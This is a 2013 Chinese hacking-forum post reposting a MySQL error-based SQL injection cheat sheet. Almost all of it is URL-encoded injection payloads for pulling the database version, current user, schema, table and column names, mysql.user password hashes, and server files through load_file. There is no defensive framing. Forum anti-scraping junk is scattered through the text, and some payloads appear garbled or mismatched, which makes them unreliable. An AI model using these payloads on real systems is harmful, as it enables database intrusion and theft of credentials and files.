找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2547|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 6 S3 F; O; V6 k$ m3 r$ ?

8 {- Z. s. T& Z0 Z1 I: C
. n! {+ C5 ]! v' H( x- A' ?( oMysql暴错注入参考(pdf),每天一贴。。。( i( O! k1 T) b
6 b. B' J$ g( f- q! z5 g& q
MySql Error Based Injection Reference4 Y5 E0 z! T6 g$ Z# D3 V
[Mysql暴错注入参考]
. Z- S  a9 U, @& ~4 ~Authornig0s1992
8 ~4 O0 N5 y. W& B8 \Blog:http://pnig0s1992.blog.51cto.com/
# l: g; z# {# p& w& S: O! t( ETeAm:http://www.FreeBuf.com/
+ C& p) I% u$ z' `! z5 r& c4 z, ]9 GMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
% V- k9 M/ M0 z5 T6 t* n, ^小部分版本使用name_const()时会报错.可以用给出的Method.2测试
) X  V# T2 Y( E- I. I, r查询版本:% K7 A+ P9 `+ b% N' d1 O
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+& A8 Q# n" a, a4 a. q+ O
join+(select+name_const(@@version,0))b)c)
% Q% f5 X& {9 xMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
% R# o! C0 v3 O2 xup by a)b)
- U; T/ c& ~/ g3 c查询当前用户:
2 ^0 e7 E9 B5 v) b( X, yMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)* e: b. R5 a+ G, T9 n" M* V
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r; I" h: m" k9 ~, R+ o% S
and(0)*2))x+from+information_schema.tables+group+by+x)a)- W7 M. J0 S3 J* O" n
查询当前数据库:: S/ C; a. H+ K
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
) q3 C* D, f+ e2 cMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
# m3 K# {$ k- u: P6 H1 P# qor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
' |0 @9 _# I/ `$ j% Q; }依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata++ k: F. Z+ ^0 t
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n  ~% |  Q: ~5 u9 G
顺序替换! q5 h/ F  R1 j: O2 g! A; u
爆指定库数目:
: g/ \- B4 [7 e" W! F7 H6 Vand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
5 v: b8 L3 x" d5 dable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
% @7 p. y; m3 o+by+x)a)+and+1=1 0x6D7973716C=mysql
: T' A! I/ x% e依次爆表:# k) m. K/ n: S/ s8 k- y% P& }1 _1 A
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t. f! d9 }3 \3 Z; n$ ?
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta4 O8 S* B/ x( }" P! p0 E
bles+group+by+x)a)+and+1=1
+ o' z( N# \0 O* T. u0x6D7973716C=Mysql 将n顺序替换
) \6 U5 C! y  v5 x$ F爆表内字段数目:4 I* ^  b0 X" ]2 j8 V
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE' o3 G% o  N& C* y
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
& r0 q" I* S# X# D& r7 g0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=15 x+ ?; k! Q3 k( ~8 h
依次爆字段:
) ?7 u6 h7 V- E4 q3 iand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
& S2 ^+ A5 `, k) u! K+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
& a9 w* M! v3 gloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
) y# S: j( Y% {, k( _5 I" ?: z依次暴内容:
2 j' R  _% _# v+ Jand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche! a( G3 r+ f- S. t
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1; k1 |% ?; t" Q: W: C7 Q) W' d  E1 r
将n顺序替换/ k( A, ?# i) @1 S& K
爆文件内容:
$ [6 `7 m; v; ^and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a; K3 N+ L5 |$ i
from+information_schema.tables+group+by+a)b) 0 p9 V  n$ s5 m! r
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
; B8 V6 ?8 @$ q% n& w. t: HThx for reading.
# j2 \/ K0 E" D+ E" E; D
7 Y* L3 E/ S, C8 X7 [不要下载也可以,
' T) z: |6 n8 D9 F2 k9 ^# y

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表